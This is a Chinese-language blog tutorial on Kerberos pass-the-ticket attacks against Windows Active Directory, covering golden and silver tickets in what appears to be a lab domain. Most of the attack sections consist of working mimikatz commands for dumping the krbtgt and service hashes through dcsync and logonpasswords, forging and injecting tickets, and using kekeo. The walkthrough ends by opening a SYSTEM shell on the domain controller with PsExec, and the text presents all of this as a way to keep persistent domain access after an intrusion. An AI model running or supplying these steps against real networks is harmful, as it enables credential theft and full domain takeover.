票据传递攻击
创始人
2024-04-06 21:16:06
0

票据传递攻击

票据传递攻击(PtT)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM 哈希或AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM 哈希或AES-256的值。票据传递攻击常用来做域控权限维持

黄金票据

伪造krbtgt用户的TGT票据

原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

伪造金票所需条件

  1. 域名称

  2. 域的 SID 值

  3. 域的 KRBTGT 账号的 HASH

  4. 伪造任意用户名(一般填写域管账户)

生成金票

登录域管账户

使用一下命令导出用户 krbtgt 的 hash:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync 
/domain:moonsec.fbi /all /csv
或 
lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonsec.fbi /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi/all /csv" "exit">loghash.txt
lsadump::dcsync /domain:moonsec.fbi /user:krbtgt

sid和hash是krbtgt的

 

以下环境是在域成员A的 administrator 用户下进行,因为mimikatz需要管理员权限!

利用 mimikatz 生成金票生成.kirbi 文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit
  • /admin:伪造的用户名

  • /domain:域名称

  • /sid:SID 值,(注意是去掉最后一个-后面的值)

  • /krbtgt:krbtgt 的 HASH 值

  • /ticket:生成的票据名称 //不是写入内存中的命令!

 

金票的使用

(普通域账户,利用黄金票据,创建域管账户) 登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将ticket.kirbi 导入内存中。

导入票据之前访问域控失败

mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test.MOONSEC\Desktop\mimikatz_trunk\x64\ticket.kirbi

 

注入内存中可以再来访问 dc 可以成功

 

利用psexec获取shell

PsExec.exe /accepteula /s \\08server-dc.moonsec.fbi cmd

 

白银票据

白银票据Silver Ticket不同域黄金票据Golden Ticket。白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控,很少留下日志。黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控权限。而白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

要创建白银票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)

  • 域名

  • 域的SID值(就是域成员SID值去掉最后的)

  • 目标服务的FQDN

  • 可利用的服务

  • 服务账号的NTLM哈希

特点

1.不需要与 KDC 进行交互

2.需要 server 的 NTLM hash

登录域管用户,用管理员权限打开 CMD,cd 到mimikatz 存放的目录,去执行 mimikatz 的命令,得到 SID 和 NTLM

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

 

先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::purge 
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt

 

使用方法:

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4: /user:<用户名> /ptt

其中的用户名可以随便写 服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请ticket,所以只能针对某一些服务来进行伪造

 

kekeo 制作环境银票

tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387 
​
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash 
​
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirbi

 

黄金票据和白银票据的不同

访问权限不同:

  • 黄金票据Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限

  • 白银票据Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同:

  • Golden Ticket由krbtgt的Hash加密

  • Silver Ticket 由服务账号(通常为计算机账户)Hash加密

  • 认证流程不同:

  • Golden Ticket的利用过程需要访问域控,

  • 而Silver Ticket不需要

隐蔽性不同:

  • 白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更隐蔽

参考链接

内网渗透(四) | 票据传递攻击 - 腾讯云开发者社区-腾讯云

野蛮人之间人吃人,文明人之间人骗人

 

相关内容

热门资讯

银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...
​ToDesk 远程工具安装及... 目录 前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示 文件传输 设备链接 ...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWS管理控制台菜单和权限 要在AWS管理控制台中创建菜单和权限,您可以使用AWS Identity and Access Ma...